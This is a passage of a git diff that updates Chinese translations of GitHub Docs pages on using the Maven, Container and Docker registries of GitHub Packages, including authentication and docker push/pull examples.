package](/packages/learn-github-packages/connecting-a-repository-to-a-package)." + 注意:通过“操作访问”菜单选项将存储库添加到容器不同于将容器连接到存储库 。 有关详细信息,请参阅“[确保工作流访问你的包](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)”和“[将存储库连接到包](/packages/learn-github-packages/connecting-a-repository-to-a-package)”。 {% endnote %} -1. Optionally, using the "role" drop-down menu, select the default access level that you'd like the repository to have to your container image. - ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png) -1. Open your workflow file. On the line where you log in to the registry, replace your {% data variables.product.pat_generic %} with {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}. +1. (可选)使用“role(角色)”下拉菜单,选择您希望仓库访问您的容器映像所必须拥有的默认访问权限。 + ![授予存储库的权限访问级别](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png) +1. 打开工作流程文件。 在登录注册表的行上,将 {% data variables.product.pat_generic %} 替换为 {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}。 -For example, this workflow publishes a Docker image to the {% data variables.product.prodname_container_registry %} and uses {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %} to authenticate. +例如,此工作流将一个 Docker 映像发布到 {% data variables.product.prodname_container_registry %} 并使用 {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %} 进行身份验证。 ```yaml{:copy} name: Demo Push diff --git a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md index 733136372b..85a94d6146 100644 --- a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md +++ b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md @@ -1,6 +1,6 @@ --- -title: Working with the Apache Maven registry -intro: 'You can configure Apache Maven to publish packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Java project.' +title: 使用 Apache Maven 注册表 +intro: '您可以配置 Apache Maven 以将包发布到 {% data variables.product.prodname_registry %} 并将存储在 {% data variables.product.prodname_registry %} 上的包用作 Java 项目中的依赖项。' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-apache-maven-for-use-with-github-package-registry @@ -14,36 +14,39 @@ versions: ghae: '*' ghec: '*' shortTitle: Apache Maven registry +ms.openlocfilehash: 0d2fafd69ac870a521fee8c7105b79bf8839d62c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147061704' --- - -{% data reusables.package_registry.packages-ghes-release-stage %} -{% data reusables.package_registry.packages-ghae-release-stage %} +{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} {% data reusables.package_registry.admins-can-configure-package-types %} -## Authenticating to {% data variables.product.prodname_registry %} +## 向 {% data variables.product.prodname_registry %} 验证 {% data reusables.package_registry.authenticate-packages %} {% data reusables.package_registry.authenticate-packages-github-token %} -### Authenticating with a {% data variables.product.pat_generic %} +### 使用个人访问令牌进行身份验证 {% data reusables.package_registry.required-scopes %} -You can authenticate to {% data variables.product.prodname_registry %} with Apache Maven by editing your *~/.m2/settings.xml* file to include your {% data variables.product.pat_v1 %}. Create a new *~/.m2/settings.xml* file if one doesn't exist. +通过编辑 ~/.m2/settings.xml 文件以包含个人访问令牌,可以使用 Apache Maven 向 {% data variables.product.prodname_registry %} 进行身份验证。 如果 ~/.m2/settings.xml 文件不存在,请新建该文件。 -In the `servers` tag, add a child `server` tag with an `id`, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, and *TOKEN* with your {% data variables.product.pat_generic %}. +在 `servers` 标记中,添加一个带有 `id` 的子 `server` 标记,将“USERNAME”替换为 {% data variables.product.prodname_dotcom %} 用户名,并将“TOKEN”替换为个人访问令牌。 -In the `repositories` tag, configure a repository by mapping the `id` of the repository to the `id` you added in the `server` tag containing your credentials. Replace {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.location.product_location %}, and{% endif %} *OWNER* with the name of the user or organization account that owns the repository. Because uppercase letters aren't supported, you must use lowercase letters for the repository owner even if the {% data variables.product.prodname_dotcom %} user or organization name contains uppercase letters. +在 `repositories` 标记中,通过将存储库的 `id` 映射到在包含凭据的 `server` 标记中添加的 `id` 来对该存储库进行配置。 将 {% ifversion ghes or ghae %}HOSTNAME 替换为 {% data variables.product.product_location %} 的主机名,并将{% endif %} OWNER 替换为拥有该存储库的用户或组织帐户的名称。 由于不支持大写字母,因此,即使您的 {% data variables.product.prodname_dotcom %} 用户或组织名称中包含大写字母,也必须对仓库所有者使用小写字母。 -If you want to interact with multiple repositories, you can add each repository to separate `repository` children in the `repositories` tag, mapping the `id` of each to the credentials in the `servers` tag. +如果要与多个存储库交互,可以将每个存储库添加到 `repositories` 标记中独立的子 `repository`,将每个存储库的 +`id` 映射到 `servers` 标记中的凭据。 {% data reusables.package_registry.apache-maven-snapshot-versions-supported %} -{% ifversion ghes %} -If your instance has subdomain isolation enabled: -{% endif %} +{% ifversion ghes %} 如果实例启用了子域隔离:{% endif %} ```xml ``` -{% ifversion ghes %} -If your instance has subdomain isolation disabled: +{% ifversion ghes %} 如果实例禁用了子域隔离: ```xml ` element of the *pom.xml* file. {% data variables.product.prodname_dotcom %} will match the repository based on that field. Since the repository name is also part of the `distributionManagement` element, there are no additional steps to publish multiple packages to the same repository. +如果要将多个包发布到同一存储库,可以在 pom.xml 文件的 `` 元素中包含该存储库的 URL。 {% data variables.product.prodname_dotcom %} 将根据该字段匹配仓库。 由于存储库名称也是 `distributionManagement` 元素的一部分,因此将多个包发布到同一存储库无需额外步骤。 -For more information on creating a package, see the [maven.apache.org documentation](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html). +有关创建包的详细信息,请参阅 [maven.apache.org 文档](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)。 -1. Edit the `distributionManagement` element of the *pom.xml* file located in your package directory, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.location.product_location %}, {% endif %}`OWNER` with the name of the user or organization account that owns the repository and `REPOSITORY` with the name of the repository containing your project.{% ifversion ghes %} +1. 编辑位于包目录中的 pom.xml 文件的 `distributionManagement` 元素,将 {% ifversion ghes or ghae %}HOSTNAME 替换为 {% data variables.product.product_location %} 的主机名,将 {% endif %}`OWNER` 替换为拥有该存储库的用户或组织帐户的名称,并将 `REPOSITORY` 替换为包含项目的存储库的名称。{% ifversion ghes %} - If your instance has subdomain isolation enabled:{% endif %} + 如果您的实例启用了子域隔离功能:{% endif %} ```xml @@ -165,12 +169,12 @@ For more information on creating a package, see the [maven.apache.org documentat {% data reusables.package_registry.viewing-packages %} -## Installing a package +## 安装包 -To install an Apache Maven package from {% data variables.product.prodname_registry %}, edit the *pom.xml* file to include the package as a dependency. If you want to install packages from more than one repository, add a `repository` tag for each. For more information on using a *pom.xml* file in your project, see "[Introduction to the POM](https://maven.apache.org/guides/introduction/introduction-to-the-pom.html)" in the Apache Maven documentation. +要从 {% data variables.product.prodname_registry %} 安装 Apache Maven 包,请编辑 pom.xml 文件以包含该包作为依赖项。 如果要从多个存储库安装包,请为每个存储库添加 `repository` 标记。 有关在项目中使用 pom.xml 文件的详细信息,请参阅 Apache Maven 文档中的“[POM 简介](https://maven.apache.org/guides/introduction/introduction-to-the-pom.html)”。 {% data reusables.package_registry.authenticate-step %} -2. Add the package dependencies to the `dependencies` element of your project *pom.xml* file, replacing `com.example:test` with your package. +2. 将包依赖项添加到项目 pom.xml 文件的 `dependencies` 元素,将 `com.example:test` 替换为包。 ```xml @@ -182,13 +186,13 @@ To install an Apache Maven package from {% data variables.product.prodname_regis ``` {% data reusables.package_registry.checksum-maven-plugin %} -3. Install the package. +3. 安装此包。 ```shell $ mvn install ``` -## Further reading +## 延伸阅读 -- "[Working with the Gradle registry](/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry)" -- "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" +- “[使用 Gradle 注册表](/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry)” +- [删除和恢复包](/packages/learn-github-packages/deleting-and-restoring-a-package) diff --git a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-container-registry.md b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-container-registry.md index 6f00ec0d2e..e3362554ac 100644 --- a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-container-registry.md +++ b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-container-registry.md @@ -1,6 +1,6 @@ --- -title: Working with the Container registry -intro: 'You can store and manage Docker and OCI images in the {% data variables.product.prodname_container_registry %}, which uses the package namespace `https://{% data reusables.package_registry.container-registry-hostname %}`.' +title: 使用容器注册表 +intro: '可在使用包命名空间 `https://{% data reusables.package_registry.container-registry-hostname %}` 的 {% data variables.product.prodname_container_registry %} 中存储和管理 Docker 和 OCI 映像。' product: '{% data reusables.gated-features.packages %}' redirect_from: - /packages/managing-container-images-with-github-container-registry/pushing-and-pulling-docker-images @@ -17,82 +17,85 @@ versions: ghec: '*' ghes: '>= 3.5' shortTitle: Container registry +ms.openlocfilehash: 19f7957c9fb93671e858e3a8e7a94582d16c0f43 +ms.sourcegitcommit: 6a266bff4d8c9ee928560c3af45eddd7fb4f3a0c +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/26/2022 +ms.locfileid: '147409097' --- - {% data reusables.package_registry.container-registry-ghes-beta %} -## About the {% data variables.product.prodname_container_registry %} +## 关于 {% data variables.product.prodname_container_registry %} {% data reusables.package_registry.container-registry-benefits %} {% ifversion ghes > 3.4 %} -To use the {% data variables.product.prodname_container_registry %} on {% data variables.product.product_name %}, your site administrator must first configure {% data variables.product.prodname_registry %} for your instance **and** enable subdomain isolation. For more information, see "[Getting started with GitHub Packages for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)" and "[Enabling subdomain isolation](/admin/configuration/configuring-network-settings/enabling-subdomain-isolation)." +若要在 {% data variables.product.product_name %} 上使用 {% data variables.product.prodname_container_registry %},站点管理员必须首先为实例配置 {% data variables.product.prodname_registry %} 并启用子域隔离。 有关详细信息,请参阅“[企业 GitHub Packages 使用入门](/admin/packages/getting-started-with-github-packages-for-your-enterprise)”和“[启用子域隔离](/admin/configuration/configuring-network-settings/enabling-subdomain-isolation)”。 {% endif %} -## About {% data variables.product.prodname_container_registry %} support +## 关于 {% data variables.product.prodname_container_registry %} 支持 -The {% data variables.product.prodname_container_registry %} currently supports the following container image formats: +{% data variables.product.prodname_container_registry %} 目前支持以下容器映像格式: -* [Docker Image Manifest V2, Schema 2](https://docs.docker.com/registry/spec/manifest-v2-2/) -* [Open Container Initiative (OCI) Specifications](https://github.com/opencontainers/image-spec) +* [Docker 映像清单 V2,架构 2](https://docs.docker.com/registry/spec/manifest-v2-2/) +* [开放容器计划 (OCI) 规范](https://github.com/opencontainers/image-spec) -When installing or publishing a Docker image, the {% data variables.product.prodname_container_registry %} supports foreign layers, such as Windows images. +在安装或发布 Docker 映像时,{% data variables.product.prodname_container_registry %} 支持外部层,如 Windows 映像。 -## Authenticating to the {% data variables.product.prodname_container_registry %} +## 向 {% data variables.product.prodname_container_registry %} 验证 -{% ifversion fpt or ghec or ghes > 3.4 %} -To authenticate to the {% data variables.product.prodname_container_registry %} (`ghcr.io`) within a {% data variables.product.prodname_actions %} workflow, use the `GITHUB_TOKEN` for the best security and experience. {% data reusables.package_registry.authenticate_with_pat_for_v2_registry %} -{% endif %} +{% data reusables.package_registry.authenticate_with_pat_for_container_registry %} -{% ifversion ghes %}Ensure that you replace `HOSTNAME` with {% data variables.location.product_location_enterprise %} hostname or IP address in the examples below.{% endif %} +{% ifversion ghes %}请确保在以下示例中将 `HOSTNAME` 替换为 {% data variables.product.product_location_enterprise %} 主机名或 IP 地址。{% endif %} {% data reusables.package_registry.authenticate-to-container-registry-steps %} -## Pushing container images +## 推送容器映像 -This example pushes the latest version of `IMAGE_NAME`. +此示例推送最新版本的 `IMAGE_NAME`。 ```shell $ docker push {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME:latest ``` -This example pushes the `2.5` version of the image. +此示例推送映像的 `2.5` 版本。 ```shell $ docker push {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME:2.5 ``` -When you first publish a package, the default visibility is private. To change the visibility or set access permissions, see "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)." +首次发布包时,默认可见性是私有的。 若要更改可见性或设置访问权限,请参阅“[配置包的访问控制和可见性](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)”。 -## Pulling container images +## 拉取容器映像 -### Pull by digest +### 通过摘要拉取 -To ensure you're always using the same image, you can specify the exact container image version you want to pull by the `digest` SHA value. +为确保始终使用相同的映像,可以通过 `digest` SHA 值指定要拉取的确切容器映像版本。 -1. To find the digest SHA value, use `docker inspect` or `docker pull` and copy the SHA value after `Digest:` +1. 若要查找摘要 SHA 值,请使用 `docker inspect` 或 `docker pull` 并在 `Digest:` 之后复制 SHA 值 ```shell $ docker inspect {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME ``` -2. Remove image locally as needed. +2. 按需要在本地删除映像。 ```shell $ docker rmi {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME:latest ``` -3. Pull the container image with `@YOUR_SHA_VALUE` after the image name. +3. 拉取映像名称后带有 `@YOUR_SHA_VALUE` 的容器映像。 ```shell $ docker pull {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME@sha256:82jf9a84u29hiasldj289498uhois8498hjs29hkuhs ``` -### Pull by name +### 按名称拉取 ```shell $ docker pull {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME ``` -### Pull by name and version +### 按名称和版本拉取 -Docker CLI example showing an image pulled by its name and the `1.14.1` version tag: +显示按名称和 `1.14.1` 版本标记拉取的映像的 Docker CLI 示例: ```shell $ docker pull {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME:1.14.1 > 5e35bd43cf78: Pull complete @@ -104,7 +107,7 @@ Docker CLI example showing an image pulled by its name and the `1.14.1` version > {% data reusables.package_registry.container-registry-hostname %}/orgname/image-name/release:1.14.1 ``` -### Pull by name and latest version +### 按名称和最新版本拉取 ```shell $ docker pull {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME:latest @@ -114,16 +117,16 @@ Docker CLI example showing an image pulled by its name and the `1.14.1` version > {% data reusables.package_registry.container-registry-hostname %}/user/image-name:latest ``` -## Building container images +## 构建容器映像 -This example builds the `hello_docker` image: +此示例生成 `hello_docker` 映像: ```shell $ docker build -t hello_docker . ``` -## Tagging container images +## 标记容器映像 -1. Find the ID for the Docker image you want to tag. +1. 找到要标记的 Docker 映像的 ID。 ```shell $ docker images > REPOSITORY TAG IMAGE ID CREATED SIZE @@ -132,35 +135,7 @@ This example builds the `hello_docker` image: > hello-world latest fce289e99eb9 16 months ago 1.84kB ``` -2. Tag your Docker image using the image ID and your desired image name and hosting destination. +2. 使用映像 ID 以及所需的映像名称和托管目标标记 Docker 映像。 ```shell $ docker tag 38f737a91f39 {% data reusables.package_registry.container-registry-hostname %}/OWNER/NEW_IMAGE_NAME:latest ``` - -## Labelling container images - -{% data reusables.package_registry.about-docker-labels %} For more information on Docker labels, see [LABEL](https://docs.docker.com/engine/reference/builder/#label) in the official Docker documentation and [Pre-Defined Annotation Keys](https://github.com/opencontainers/image-spec/blob/master/annotations.md#pre-defined-annotation-keys) in the `opencontainers/image-spec` repository. - -The following labels are supported in the {% data variables.product.prodname_container_registry %}. Supported labels will appear on the package page for the image. - -Label | Description -------|------------ -| `org.opencontainers.image.source` | The URL of the repository associated with the package. For more information, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package#connecting-a-repository-to-a-container-image-using-the-command-line)." -| `org.opencontainers.image.description` | A text-only description limited to 512 characters. This description will appear on the package page, below the name of the package. -| `org.opencontainers.image.licenses` | An SPDX license identifier such as "MIT," limited to 256 characters. The license will appear on the package page, in the "Details" sidebar. For more information, see [SPDX License List](https://spdx.org/licenses/). - -To add labels to an image, we recommend using the `LABEL` instruction in your `Dockerfile`. For example, if you're the user `monalisa` and you own `my-repo`, and your image is distributed under the terms of the MIT license, you would add the following lines to your `Dockerfile`: - -```dockerfile -LABEL org.opencontainers.image.source=https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/monalisa/my-repo -LABEL org.opencontainers.image.description="My container image" -LABEL org.opencontainers.image.licenses=MIT -``` - -Alternatively, you can add labels to an image at buildtime with the `docker build` command. - -```shell -$ docker build \ - --label "org.opencontainers.image.source=https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/monalisa/my-repo" \ - --label "org.opencontainers.image.description=My container image" \ - --label "org.opencontainers.image.licenses=MIT" diff --git a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md index b0fa5478a9..0ea713b72d 100644 --- a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md +++ b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md @@ -1,6 +1,6 @@ --- -title: Working with the Docker registry -intro: '{% ifversion fpt or ghec %}The Docker registry has now been replaced by the {% data variables.product.prodname_container_registry %}.{% else %}You can push and pull your Docker images using the {% data variables.product.prodname_registry %} Docker registry.{% endif %}' +title: 使用 Docker 注册表 +intro: '{% ifversion fpt or ghec %}Docker 注册表现已被 {% data variables.product.prodname_container_registry %} 取代。{% else %}您可以使用 {% data variables.product.prodname_registry %} Docker 注册表推送和拉取您的 Docker 映像。{% endif %}' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-docker-for-use-with-github-package-registry @@ -15,165 +15,143 @@ versions: ghae: '*' ghec: '*' shortTitle: Docker registry +ms.openlocfilehash: f5d37e74f93535fd48f3400ef0b504825aadc657 +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/12/2022 +ms.locfileid: '147888450' --- - {% ifversion fpt or ghec %} -{% data variables.product.prodname_dotcom %}'s Docker registry (which used the namespace `docker.pkg.github.com`) has been replaced by the {% data variables.product.prodname_container_registry %} (which uses the namespace `https://ghcr.io`). The {% data variables.product.prodname_container_registry %} offers benefits such as granular permissions and storage optimization for Docker images. +{% data variables.product.prodname_dotcom %} 的 Docker 注册表(使用命名空间 `docker.pkg.github.com`)已被 {% data variables.product.prodname_container_registry %} 替换(使用命名空间 `https://ghcr.io`)。 {% data variables.product.prodname_container_registry %} 为 Docker 映像提供粒度权限和存储优化等优点。 -Docker images previously stored in the Docker registry are being automatically migrated into the {% data variables.product.prodname_container_registry %}. For more information, see "[Migrating to the {% data variables.product.prodname_container_registry %} from the Docker registry](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry)" and "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." +先前存储在 Docker 注册表中的 Docker 映像将自动迁移到 {% data variables.product.prodname_container_registry %}。 有关详细信息,请参阅“[从 Docker 注册表迁移到 {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry)”和“[使用 {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)。” {% else %} -{% data reusables.package_registry.packages-ghes-release-stage %} -{% data reusables.package_registry.packages-ghae-release-stage %} +{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} {% data reusables.package_registry.admins-can-configure-package-types %} -## About Docker support +## 关于 Docker 支持 -When installing or publishing a Docker image, the Docker registry does not currently support foreign layers, such as Windows images. +安装或发布 Docker 映像时,Docker 注册表目前不支持外部层,例如 Windows 映像。 -## Authenticating to {% data variables.product.prodname_registry %} +## 向 {% data variables.product.prodname_registry %} 验证 {% data reusables.package_registry.authenticate-packages %} {% data reusables.package_registry.authenticate-packages-github-token %} -### Authenticating with a {% data variables.product.pat_generic %} +### 使用个人访问令牌进行身份验证 {% data reusables.package_registry.required-scopes %} -You can authenticate to {% data variables.product.prodname_registry %} with Docker using the `docker` login command. +可以使用 `docker` 登录命令,通过 Docker 向 {% data variables.product.prodname_registry %} 验证。 -To keep your credentials secure, we recommend you save your {% data variables.product.pat_generic %} in a local file on your computer and use Docker's `--password-stdin` flag, which reads your token from a local file. +为确保凭据安全,我们建议将个人访问令牌保存在计算机的本地文件中,然后使用 Docker 的 `--password-stdin` 标志从本地文件读取令牌。 -{% ifversion fpt or ghec %} -{% raw %} +{% ifversion fpt or ghec %} {% raw %} ```shell - $ cat ~/TOKEN.txt | docker login https://docker.pkg.github.com -u USERNAME --password-stdin + $ cat ~/TOKEN.txt | docker login https://docker.pkg.github.com -u USERNAME --password-stdin ``` -{% endraw %} -{% endif %} +{% endraw %} {% endif %} -{% ifversion ghes or ghae %} -{% ifversion ghes %} -If your instance has subdomain isolation enabled: -{% endif %} -{% raw %} +{% ifversion ghes or ghae %} {% ifversion ghes %} 如果实例启用了子域隔离:{% endif %} {% raw %} ```shell - $ cat ~/TOKEN.txt | docker login docker.HOSTNAME -u USERNAME --password-stdin + $ cat ~/TOKEN.txt | docker login docker.HOSTNAME -u USERNAME --password-stdin ``` -{% endraw %} -{% ifversion ghes %} -If your instance has subdomain isolation disabled: +{% endraw %} {% ifversion ghes %} 如果实例禁用了子域隔离: {% raw %} ```shell - $ cat ~/TOKEN.txt | docker login HOSTNAME -u USERNAME --password-stdin + $ cat ~/TOKEN.txt | docker login HOSTNAME -u USERNAME --password-stdin ``` -{% endraw %} -{% endif %} +{% endraw %} {% endif %} {% endif %} -To use this example login command, replace `USERNAME` with your {% data variables.product.product_name %} username{% ifversion ghes or ghae %}, `HOSTNAME` with the URL for {% data variables.location.product_location %},{% endif %} and `~/TOKEN.txt` with the file path to your {% data variables.product.pat_generic %} for {% data variables.product.product_name %}. +要使用此示例登录命令,请将 `USERNAME` 替换为 {% data variables.product.product_name %} 用户名{% ifversion ghes or ghae %},将 `HOSTNAME` 替换为 {% data variables.product.product_location %} 的 URL,{% endif %}并将 `~/TOKEN.txt` 替换为用于 {% data variables.product.product_name %} 的个人访问令牌的文件路径。 -For more information, see "[Docker login](https://docs.docker.com/engine/reference/commandline/login/#provide-a-password-using-stdin)." +有关详细信息,请参阅“[Docker 登录](https://docs.docker.com/engine/reference/commandline/login/#provide-a-password-using-stdin)”。 -## Publishing an image +## 发布映像 {% data reusables.package_registry.docker_registry_deprecation_status %} {% note %} -**Note:** Image names must only use lowercase letters. +注意:映像名称只能使用小写字母。 {% endnote %} -{% data variables.product.prodname_registry %} supports multiple top-level Docker images per repository. A repository can have any number of image tags. You may experience degraded service publishing or installing Docker images larger than 10GB, layers are capped at 5GB each. For more information, see "[Docker tag](https://docs.docker.com/engine/reference/commandline/tag/)" in the Docker documentation. +{% data variables.product.prodname_registry %} 支持每个仓库的多个顶层 Docker 镜像。 仓库可以拥有任意数量的映像标记。 在发布或安装大于 10GB 的 Docker 映像(每个图层上限为 5GB)时,可能会遇到服务降级的情况。 有关详细信息,请参阅 Docker 文档中的“[Docker 标记](https://docs.docker.com/engine/reference/commandline/tag/)”。 {% data reusables.package_registry.viewing-packages %} -1. Determine the image name and ID for your docker image using `docker images`. +1. 使用 `docker images` 确定 Docker 映像的名称和 ID。 ```shell $ docker images > < > > REPOSITORY TAG IMAGE ID CREATED SIZE - > IMAGE_NAME VERSION IMAGE_ID 4 weeks ago 1.11MB + > IMAGE_NAME VERSION IMAGE_ID 4 weeks ago 1.11MB ``` -2. Using the Docker image ID, tag the docker image, replacing *OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image,{% ifversion ghes or ghae %} *HOSTNAME* with the hostname of {% data variables.location.product_location %},{% endif %} and *VERSION* with package version at build time. +2. 使用 Docker 映像 ID、标记和 Docker 映像,将 OWNER 替换为拥有存储库的用户或组织帐户的名称,将 REPOSITORY 替换为包含项目的存储库的名称,将 IMAGE_NAME 替换为包或映像的名称,{% ifversion ghes or ghae %}将 HOSTNAME 替换为 {% data variables.product.product_location %} 的主机名,{% endif %}并将 VERSION 替换为生成时的包版本 。 {% ifversion fpt or ghec %} ```shell - $ docker tag IMAGE_ID docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION + $ docker tag IMAGE_ID docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` - {% else %} - {% ifversion ghes %} - If your instance has subdomain isolation enabled: - {% endif %} + {% else %} {% ifversion ghes %} 如果实例启用了子域隔离:{% endif %} ```shell - $ docker tag IMAGE_ID docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION + $ docker tag IMAGE_ID docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` - {% ifversion ghes %} - If your instance has subdomain isolation disabled: + {% ifversion ghes %} 如果实例禁用了子域隔离: ```shell - $ docker tag IMAGE_ID HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION + $ docker tag IMAGE_ID HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` - {% endif %} - {% endif %} -3. If you haven't already built a docker image for the package, build the image, replacing *OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image, *VERSION* with package version at build time,{% ifversion ghes or ghae %} *HOSTNAME* with the hostname of {% data variables.location.product_location %},{% endif %} and *PATH* to the image if it isn't in the current working directory. + {% endif %} {% endif %} +3. 如果尚未为包生成 Docker 映像,请生成映像,将 OWNER 替换为拥有存储库的用户或组织帐户的名称,将 REPOSITORY 替换为包含项目的存储库的名称,将 IMAGE_NAME 替换为包或映像的名称,将 VERSION 替换为生成时的包版本,{% ifversion ghes or ghae %}将 HOSTNAME 替换为 {% data variables.product.product_location %} 的主机名,{% endif %}并将 PATH 替换为映像路径(如果映像未在当前工作目录中) 。 {% ifversion fpt or ghec %} ```shell - $ docker build -t docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH + $ docker build -t docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH ``` - {% else %} - {% ifversion ghes %} - If your instance has subdomain isolation enabled: - {% endif %} + {% else %} {% ifversion ghes %} 如果实例启用了子域隔离:{% endif %} ```shell - $ docker build -t docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH + $ docker build -t docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH ``` - {% ifversion ghes %} - If your instance has subdomain isolation disabled: + {% ifversion ghes %} 如果实例禁用了子域隔离: ```shell - $ docker build -t HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH + $ docker build -t HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH ``` - {% endif %} - {% endif %} -4. Publish the image to {% data variables.product.prodname_registry %}. + {% endif %} {% endif %} +4. 将映像发布到 {% data variables.product.prodname_registry %}。 {% ifversion fpt or ghec %} ```shell - $ docker push docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION + $ docker push docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` - {% else %} - {% ifversion ghes %} - If your instance has subdomain isolation enabled: - {% endif %} + {% else %} {% ifversion ghes %} 如果实例启用了子域隔离:{% endif %} ```shell - $ docker push docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION + $ docker push docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` - {% ifversion ghes %} - If your instance has subdomain isolation disabled: + {% ifversion ghes %} 如果实例禁用了子域隔离: ```shell - $ docker push HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION + $ docker push HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` - {% endif %} - {% endif %} - {% note %} + {% endif %} {% endif %} {% note %} - **Note:** You must push your image using `IMAGE_NAME:VERSION` and not using `IMAGE_NAME:SHA`. + 注意:必须使用 `IMAGE_NAME:VERSION` 而不是 `IMAGE_NAME:SHA` 推送映像。 {% endnote %} -### Example publishing a Docker image +### 发布 Docker 映像的示例 -{% ifversion ghes %} -These examples assume your instance has subdomain isolation enabled. +{% ifversion ghes %} 这些示例假设实例已启用子域隔离。 {% endif %} -You can publish version 1.0 of the `monalisa` image to the `octocat/octo-app` repository using an image ID. +可以使用映像 ID 将 `monalisa` 映像的 1.0 版本发布到 `octocat/octo-app` 存储库。 {% ifversion fpt or ghec %} ```shell @@ -198,15 +176,15 @@ $ docker images > monalisa 1.0 c75bebcdd211 4 weeks ago 1.11MB # Tag the image with OWNER/REPO/IMAGE_NAME -$ docker tag c75bebcdd211 docker.HOSTNAME/octocat/octo-app/monalisa:1.0 +$ docker tag c75bebcdd211 docker.HOSTNAME/octocat/octo-app/monalisa:1.0 # Push the image to {% data variables.product.prodname_registry %} -$ docker push docker.HOSTNAME/octocat/octo-app/monalisa:1.0 +$ docker push 